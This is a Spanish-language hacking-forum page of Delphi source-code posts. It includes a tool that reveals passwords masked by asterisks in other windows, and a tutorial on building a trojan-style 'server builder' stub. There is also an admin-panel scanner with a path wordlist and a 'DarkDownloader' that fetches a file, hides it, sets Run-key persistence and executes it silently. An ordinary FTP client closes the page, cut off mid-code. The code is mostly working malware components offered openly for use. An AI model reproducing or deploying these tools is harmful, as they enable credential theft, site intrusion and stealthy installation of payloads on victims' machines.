|
211
|
Programación / Programación General / [Delphi] Magic Click 0.2
|
en: 19 Julio 2013, 20:04 pm
|
Un simple programa para revelar los famosos asteriscos. El clasico de los clasicos xDD. Una imagen : El codigo : // Magic Click 0.2 // Coded By Doddy H // Credits : Thanks to Victory Fernandes for their excellent manual on how to reveal asterisks unit magic; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sEdit, sGroupBox, sButton; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image1: TImage; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sGroupBox2: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; Timer1: TTimer; procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sButton1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'neonnight'; sSkinManager1.Active := True; Timer1.Enabled := True; end; procedure TForm1.sButton2Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton1Click(Sender: TObject); begin sEdit1.SelectAll; sEdit1.CopyToClipboard; end; procedure TForm1.sButton3Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.Timer1Timer(Sender: TObject); var posicion: TPoint; password: array [0 .. 63] of Char; need: HWND; begin GetCursorPos(posicion); need := WindowFromPoint(posicion); if SendMessage(need, EM_GETPASSWORDCHAR, 0, 0) <> 0 then begin SendMessage(need, WM_GETTEXT, 64, Longint(@password)); sEdit1.Text := password; end; end; end. // The End ?
Si quieren bajarlo pueden hacerlo de aca.
|
|
|
213
|
Programación / Programación General / Re: [Delphi] Creacion de un Server Builder
|
en: 16 Julio 2013, 15:21 pm
|
un server builder es lo basico para un troyano , aunque tambien te sirve para generar keyloggers que tienen datos generados por el usuario por ejemplo el servidor ftp que marco el usuario despues con el builder te genera el ejecutable , tambien te diria que sirve con joiners pero ya es otra cosa. puede que me equivoque en algo porque no se como explicarme xDD.
|
|
|
214
|
Programación / Programación General / [Delphi] Creacion de un Server Builder
|
en: 15 Julio 2013, 23:44 pm
|
[Titulo] : Creacion de un Server Builder [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Creacion del builder 0x03 : Creacion del stub 0x04 : Probando el programa -- =================-------- 0x01 : Introduccion Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema. Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder para poder hacer uno bien basico para poder explicar en este tutorial. Empecemos ....... 0x02 : Creacion del builder Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen : Ahora creamos dos edit y un boton como en la imagen : Despues le damos doble click al boton para poner el siguiente codigo : procedure TForm1.Button1Click(Sender: TObject); var linea: string; // Declaramos todas las variables aca: THandle; code: Array [0 .. 80 + 1] of Char; nose: DWORD; marca_uno: string; marca_dos: string; begin marca_uno := '{IP}'; // Ponemos la marca para la IP marca_dos := '{PORT}'; // Ponemos la marca para el puerto aca := INVALID_HANDLE_VALUE; nose := 0; begin linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text + marca_dos; // Formamos la linea con los datos de la IP y el Puerto StrCopy(code, pchar(linea)); aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo CloseHandle(aca); // Cerramos el archivo end; end; end;
Otra imagen para que vean como quedo : Con eso guardamos el proyecto y vamos al stub 0x03 : Creacion del stub La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder , creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen. Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo : // Funcion para dividir el texto para buscar la IP y el Puerto function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; procedure TForm1.Button1Click(Sender: TObject); var ob: THandle; // Declaramos todas las variables code: Array [0 .. 80 + 1] of Char; nose: DWORD; ip: string; port: string; begin ob := INVALID_HANDLE_VALUE; code := ''; // El programa se lee a si mismo ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -80, nil, FILE_END); ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code CloseHandle(ob); // Cerramos el archivo end; ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto Edit1.text := ip; // Ponemos la IP en Edit1 Edit2.text := port; // Ponemos el puerto en Edit2 end;
Una imagen de como queda : Guarden el proyecto de forma que el ejecutable termine llamandose server.exe Ahora que esta todo hecho pasamos al siguiente punto. 0x04 : Probando el programa Bueno ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo. Eso seria todo. Si quieren bajar el manual en formato PDF lo pueden hacer de aca. --========-- The End ? --========--
|
|
|
215
|
Programación / Programación General / [Delphi] Admin Finder 0.2
|
en: 12 Julio 2013, 15:58 pm
|
Un simple programa para buscar el famoso panel de administracion. Una imagen : El codigo : // Admin Finder 0.2 // Coded By Doddy H unit admin; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sGroupBox, ComCtrls, sStatusBar, jpeg, ExtCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sSkinManager, sListBox, sButton, sEdit, ShellApi, Menus; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; IdHTTP1: TIdHTTP; Image1: TImage; sStatusBar1: TsStatusBar; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sGroupBox2: TsGroupBox; sListBox1: TsListBox; sEdit2: TsEdit; PopupMenu1: TPopupMenu; S1: TMenuItem; A1: TMenuItem; E1: TMenuItem; procedure sListBox1DblClick(Sender: TObject); procedure S1Click(Sender: TObject); procedure S2Click(Sender: TObject); procedure A1Click(Sender: TObject); procedure E1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.A1Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.E1Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'garnet'; sSkinManager1.Active := True; end; procedure TForm1.S1Click(Sender: TObject); const paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp', 'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx', 'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx', 'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp', 'asp/admin/admin.aspx', 'asp/admin/webmaster.asp', 'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx', 'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp', 'login/index.asp', 'login/index.aspx', 'login/login.asp', 'login/login.aspx', 'login/admin.asp', 'login/admin.aspx', 'administracion/index.asp', 'administracion/index.aspx', 'administracion/login.asp', 'administracion/login.aspx', 'administracion/webmaster.asp', 'administracion/webmaster.aspx', 'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/', 'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php', 'administracion/', 'administracion/index.php', 'administracion/login.php', 'administracion/ingresar.php', 'administracion/admin.php', 'administration/', 'administration/index.php', 'administration/login.php', 'administrator/index.php', 'administrator/login.php', 'administrator/system.php', 'system/', 'system/login.php', 'admin.php', 'login.php', 'administrador.php', 'administration.php', 'administrator.php', 'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/home.php', 'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/', 'administrator/index.html', 'administrator/login.html', 'administrator/account.html', 'administrator/account.php', 'administrator.html', 'login.html', 'modelsearch/login.php', 'moderator.php', 'moderator.html', 'moderator/login.php', 'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html', 'moderator/', 'account.php', 'account.html', 'controlpanel/', 'controlpanel.php', 'controlpanel.html', 'admincontrol.php', 'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp', 'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp', 'administrator/index.asp', 'administrator/login.asp', 'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp', 'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp', 'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp', 'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html', 'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/', 'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php', 'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp', 'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/', 'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp', 'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp', 'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/', 'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/', 'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/', 'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/', 'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/', 'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/', 'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/', 'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/', 'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/', 'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/', 'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/', 'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/', 'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/', 'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/', 'system_administration/', 'ss_vms_admin_sm/'); var IdHTTP: TIdHTTP; i: integer; begin try sListBox1.Clear; sStatusBar1.Panels[0].text := '[+] Starting the scan'; Form1.sStatusBar1.Update; IdHTTP := TIdHTTP.Create(nil); for i := Low(paginas) to High(paginas) do try sStatusBar1.Panels[0].text := '[+] Testing : ' + paginas[i]; Form1.sStatusBar1.Update; IdHTTP.Get(sEdit1.text + '/' + paginas[i]); if IdHTTP.ResponseCode = 200 then sListBox1.Items.Add(sEdit1.text + '/' + paginas[i]); sListBox1.Update; except on E: EIdHttpProtocolException do ; on E: Exception do ; end; finally IdHTTP.Free; end; sStatusBar1.Panels[0].text := '[+] Finished'; Form1.sStatusBar1.Update; end; procedure TForm1.S2Click(Sender: TObject); begin Abort; end; procedure TForm1.sListBox1DblClick(Sender: TObject); begin sEdit2.text := sListBox1.Items.Strings[sListBox1.ItemIndex]; sEdit2.SelectAll; sEdit2.CopyToClipboard; end; end. // The End ?
Si quieren lo puede bajar de aca.
|
|
|
216
|
Programación / Programación General / [Delphi] DarkDownloader 0.2
|
en: 6 Julio 2013, 17:07 pm
|
Un simple downloader con las siguientes opciones : - Cambiar el nombre del archivo descargado
- Guardarlo en una carpeta , si la carpeta no existe la crea
- Ocultar el archivo y la carpeta
- Hacer que ese archivo se cargue cada vez que inicie Windows
- Cargar el archivo de forma oculta o normal
El codigo : // DarkDownloader 0.2 // Coded By Doddy H unit down; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar, sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; IdHTTP1: TIdHTTP; sGroupBox1: TsGroupBox; sEdit1: TsEdit; Button1: TButton; sStatusBar1: TsStatusBar; sProgressBar1: TsProgressBar; sGroupBox2: TsGroupBox; sEdit2: TsEdit; sEdit3: TsEdit; sCheckBox1: TsCheckBox; sCheckBox2: TsCheckBox; sCheckBox3: TsCheckBox; sCheckBox4: TsCheckBox; Image1: TImage; sCheckBox5: TsCheckBox; sRadioButton1: TsRadioButton; sRadioButton2: TsRadioButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} function getfilename(archivo: string): string; var test: TStrings; begin test := TStringList.Create; test.Delimiter := '/'; test.DelimitedText := archivo; Result := test[test.Count - 1]; test.Free; end; procedure TForm1.Button1Click(Sender: TObject); var filename: string; nombrefinal: string; addnow: TRegistry; archivobajado: TFileStream; begin if not sCheckBox1.Checked then begin filename := sEdit1.Text; nombrefinal := getfilename(filename); end else begin nombrefinal := sEdit2.Text; end; archivobajado := TFileStream.Create(nombrefinal, fmCreate); try begin DeleteFile(nombrefinal); IdHTTP1.Get(sEdit1.Text, archivobajado); sStatusBar1.Panels[0].Text := '[+] File Dowloaded'; Form1.sStatusBar1.Update; archivobajado.Free; end; except sStatusBar1.Panels[0].Text := '[-] Failed download'; Form1.sStatusBar1.Update; archivobajado.Free; Abort; end; if FileExists(nombrefinal) then begin if sCheckBox2.Checked then begin if not DirectoryExists(sEdit3.Text) then begin CreateDir(sEdit3.Text); end; MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal)); sStatusBar1.Panels[0].Text := '[+] File Moved'; Form1.sStatusBar1.Update; end; if sCheckBox3.Checked then begin SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN); if sCheckBox2.Checked then begin SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal), FILE_ATTRIBUTE_HIDDEN); sStatusBar1.Panels[0].Text := '[+] File Hidden'; Form1.sStatusBar1.Update; end else begin SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN); sStatusBar1.Panels[0].Text := '[+] File Hidden'; Form1.sStatusBar1.Update; end; end; if sCheckBox4.Checked then begin addnow := TRegistry.Create; addnow.RootKey := HKEY_LOCAL_MACHINE; addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); if sCheckBox2.Checked then begin addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal); end else begin addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' + nombrefinal); end; sStatusBar1.Panels[0].Text := '[+] Registry Updated'; Form1.sStatusBar1.Update; addnow.Free; end; if sCheckBox5.Checked then begin if sRadioButton1.Checked then begin if sCheckBox2.Checked then begin ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal), nil, nil, SW_SHOWNORMAL); end else begin ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_SHOWNORMAL); end; end else begin if sCheckBox2.Checked then begin ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal), nil, nil, SW_HIDE); end else begin ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE); end; end; end; if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or sCheckBox4.Checked or sCheckBox5.Checked then begin sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin sProgressBar1.Position := 0; sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'tv-b'; sSkinManager1.Active := True; end; procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); begin sProgressBar1.Position := AWorkCount; sStatusBar1.Panels[0].Text := '[+] Downloading ...'; Form1.sStatusBar1.Update; end; procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); begin sProgressBar1.Max := AWorkCountMax; sStatusBar1.Panels[0].Text := '[+] Starting download ...'; Form1.sStatusBar1.Update; end; procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); begin sProgressBar1.Position := 0; end; end. // The End ?
Una imagen : Si quieren bajar el proyecto lo pueden hacer de aca
|
|
|
218
|
Programación / Programación General / [Delphi] Project File X 0.2
|
en: 29 Junio 2013, 18:56 pm
|
Un simple cliente FTP que eh estado haciendo en Delphi con las siguientes opciones : - Listar archivos del servidor FTP
- Permite moverse por los directorios
- Se pueden subir y bajar archivos
- Se pueden crear y borrar carpetas
- Se pueden renombrar y borrar archivos
Tambien tienen una tabla que les permite navegar por los directorios de sus computadoras para que les sea mas comodo bajar y subir archivos. Una imagen : El codigo // Project File X 0.2 // Coded By Doddy H // Credits : // Files Manager based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=421 // Upload file based on : http://delphiallimite.blogspot.com.ar/2007/06/subiendo-archivos-por-ftp-con-indy.html // Download file based : http://delphiallimite.blogspot.com.ar/2007/06/descargango-archivos-por-ftp-con-indy.html unit ftp; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ImgList, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ComCtrls, sListView, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acProgressBar, sStatusBar, IdFTPList, ShellAPI, sListBox, jpeg, ExtCtrls, Menus; type TForm1 = class(TForm) IdFTP1: TIdFTP; sSkinManager1: TsSkinManager; ImageList1: TImageList; sGroupBox1: TsGroupBox; sLabel1: TsLabel; sEdit1: TsEdit; sButton1: TsButton; sListView1: TsListView; sGroupBox2: TsGroupBox; sLabel2: TsLabel; sEdit2: TsEdit; sLabel3: TsLabel; sEdit3: TsEdit; sLabel4: TsLabel; sEdit4: TsEdit; sButton2: TsButton; sStatusBar1: TsStatusBar; sProgressBar1: TsProgressBar; sGroupBox3: TsGroupBox; sLabel5: TsLabel; sEdit5: TsEdit; sButton3: TsButton; sListView2: TsListView; ListBox1: TListBox; ListBox2: TListBox; ImageList2: TImageList; sButton5: TsButton; Image1: TImage; sButton4: TsButton; PopupMenu1: TPopupMenu; D1: TMenuItem; R1: TMenuItem; R2: TMenuItem; M1: TMenuItem; D2: TMenuItem; PopupMenu2: TPopupMenu; C1: TMenuItem; D3: TMenuItem; D4: TMenuItem; R3: TMenuItem; R4: TMenuItem; PopupMenu3: TPopupMenu; A1: TMenuItem; E1: TMenuItem; procedure sButton3Click(Sender: TObject); procedure sListView1DblClick(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure IdFTP1Connected(Sender: TObject); procedure sListView2DblClick(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); procedure IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); procedure IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); procedure FormCreate(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure R1Click(Sender: TObject); procedure R2Click(Sender: TObject); procedure D2Click(Sender: TObject); procedure D1Click(Sender: TObject); procedure M1Click(Sender: TObject); procedure C1Click(Sender: TObject); procedure D3Click(Sender: TObject); procedure D4Click(Sender: TObject); procedure R3Click(Sender: TObject); procedure R4Click(Sender: TObject); procedure D5Click(Sender: TObject); procedure A1Click(Sender: TObject); procedure E1Click(Sender: TObject); procedure IdFTP1Disconnected(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure listarftp(dirnownow2: string; sListView2: TsListView; IdFTP1: TIdFTP; sListbox1: TListBox; sListbox2: TListBox; ImageList1: TImageList); var i: integer; Item: TIdFTPListItem; listate2: TListItem; begin sListView2.Items.Clear; sListbox1.Clear; sListbox2.Clear; listate2 := sListView2.Items.Add; IdFTP1.ChangeDir(dirnownow2); IdFTP1.List('*.*', True); for i := 0 to IdFTP1.DirectoryListing.Count - 1 do begin Item := IdFTP1.DirectoryListing.Items[i]; if Item.ItemType = ditFile then begin sListbox1.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName); end else begin sListbox2.Items.Add(IdFTP1.DirectoryListing.Items[i].FileName); end; end; sListView2.Items.Clear; for i := 0 to sListbox2.Count - 1 do begin with sListView2 do begin listate2 := sListView2.Items.Add; listate2.Caption := sListbox2.Items[i]; listate2.SubItems.Add('Directory'); listate2.ImageIndex := 0; end; end; for i := 0 to sListbox1.Count - 1 do begin with sListView2 do begin listate2 := sListView2.Items.Add; listate2.Caption := sListbox1.Items[i]; listate2.SubItems.Add('File'); listate2.ImageIndex := 1; end; end; end; procedure listar(dirnownow: string; sListView1: TsListView; ImageList1: TImageList); var buscar: TSearchRec; Icon: TIcon; listate: TListItem; getdata: SHFILEINFO; dirnow: string; begin dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]); sListView1.Items.Clear; Icon := TIcon.Create; sListView1.Items.BeginUpdate; if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then begin repeat if (buscar.Attr = faDirectory) then begin with sListView1 do begin if not(buscar.Name = '.') and not(buscar.Name = '..') then begin listate := sListView1.Items.Add; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf (getdata), SHGFI_DISPLAYNAME); listate.Caption := getdata.szDisplayName; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf (getdata), SHGFI_TYPENAME); listate.SubItems.Add(getdata.szTypeName); SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf (getdata), SHGFI_ICON or SHGFI_SMALLICON); Icon.Handle := getdata.hIcon; listate.ImageIndex := ImageList1.AddIcon(Icon); DestroyIcon(getdata.hIcon); end; end; end; until FindNext(buscar) <> 0; FindClose(buscar); end; if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then begin repeat if (buscar.Attr <> faDirectory) then begin with sListView1 do begin listate := sListView1.Items.Add; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_DISPLAYNAME); listate.Caption := buscar.Name; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_TYPENAME); listate.SubItems.Add(getdata.szTypeName); SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_ICON or SHGFI_SMALLICON); Icon.Handle := getdata.hIcon; listate.ImageIndex := ImageList1.AddIcon(Icon); DestroyIcon(getdata.hIcon); end; end until FindNext(buscar) <> 0; FindClose(buscar); end; sListView1.Items.EndUpdate; end; procedure TForm1.FormCreate(Sender: TObject); begin sProgressBar1.Max := 0; sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; end; procedure TForm1.A1Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.C1Click(Sender: TObject); var newdir: string; begin newdir := InputBox('Write the name', 'Directory : ', 'test'); try begin IdFTP1.ChangeDir(sEdit5.Text); IdFTP1.MakeDir(newdir); ShowMessage('Directory created'); end except begin ShowMessage('Error'); end; end; end; procedure TForm1.D1Click(Sender: TObject); begin try begin RmDir(sEdit1.Text + sListView1.Selected.Caption); ShowMessage('Directory Deleted'); end; except begin ShowMessage('Error'); end; end; end; procedure TForm1.D2Click(Sender: TObject); begin if DeleteFile(sEdit1.Text + sListView1.Selected.Caption) then begin ShowMessage('File Deleted'); end else begin ShowMessage('Error'); end; end; procedure TForm1.IdFTP1Connected(Sender: TObject); begin sStatusBar1.Panels[0].Text := '[+] OnLine'; Form1.sStatusBar1.Update; end; procedure TForm1.IdFTP1Disconnected(Sender: TObject); begin sStatusBar1.Panels[0].Text := '[+] OffLine'; Form1.sStatusBar1.Update; end; procedure TForm1.IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); begin sStatusBar1.Panels[0].Text := '[+] Working ...'; Form1.sStatusBar1.Update; sProgressBar1.Position := AWorkCount div 1024; end; procedure TForm1.IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); begin sStatusBar1.Panels[0].Text := '[+] Working ..'; Form1.sStatusBar1.Update; end; procedure TForm1.IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); begin sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; sProgressBar1.Max := 0; end; procedure TForm1.M1Click(Sender: TObject); var nombrecarpeta: string; begin chdir(sEdit1.Text); nombrecarpeta := InputBox('Write the name', 'Directory : ', 'test'); try begin MkDir(nombrecarpeta); ShowMessage('Folder Created'); end; except begin ShowMessage('Error'); end; end; end; procedure TForm1.R1Click(Sender: TObject); var nuevonombre: string; begin nuevonombre := InputBox('Write the name', 'New name : ', 'testar'); chdir(sEdit1.Text); if RenameFile(sListView1.Selected.Caption, nuevonombre) then begin ShowMessage('Ok'); end else begin ShowMessage('Error'); end; end; procedure TForm1.R2Click(Sender: TObject); begin listar(sEdit1.Text, sListView1, ImageList1); end; procedure TForm1.R3Click(Sender: TObject); var newname: string; begin newname := InputBox('Write the name', 'New name : ', 'testar'); try begin IdFTP1.ChangeDir(sEdit5.Text); IdFTP1.Rename(sListView2.Selected.Caption, newname); ShowMessage('File rename'); end; except begin ShowMessage('Error'); end; end; end; procedure TForm1.R4Click(Sender: TObject); begin listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2); end; procedure TForm1.sButton1Click(Sender: TObject); begin listar(sEdit1.Text, sListView1, ImageList1); end; procedure TForm1.sButton2Click(Sender: TObject); begin sListView1.Items.Clear; sListView2.Items.Clear; ListBox1.Clear; ListBox2.Clear; if (sButton2.Caption = 'Disconnect') then begin IdFTP1.Disconnect; sButton2.Caption := 'Connect'; end else begin IdFTP1.Host := sEdit2.Text; IdFTP1.Username := sEdit3.Text; IdFTP1.Password := sEdit4.Text; try IdFTP1.Connect; sButton2.Caption := 'Disconnect'; except sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin listarftp(sEdit5.Text, sListView2, IdFTP1, ListBox1, ListBox2, ImageList2); end; procedure TForm1.sButton4Click(Sender: TObject); var fileabajar: string; begin fileabajar := sListView2.Selected.Caption; ; IdFTP1.OnWork := IdFTP1Work; IdFTP1.ChangeDir(sEdit5.Text); sProgressBar1.Max := IdFTP1.Size(ExtractFileName(fileabajar)) div 1024; IdFTP1.Get(fileabajar, sEdit1.Text + '/' + fileabajar, False, False); end; procedure TForm1.sButton5Click(Sender: TObject); var fileasubir: string; dirasubir: string; cantidad: File of byte; begin fileasubir := sEdit1.Text + sListView1.Selected.Caption; dirasubir := sEdit5.Text; IdFTP1.OnWork := IdFTP1Work; AssignFile(cantidad, fileasubir); Reset(cantidad); sProgressBar1.Max := FileSize(cantidad) div 1024; CloseFile(cantidad); IdFTP1.ChangeDir(dirasubir); 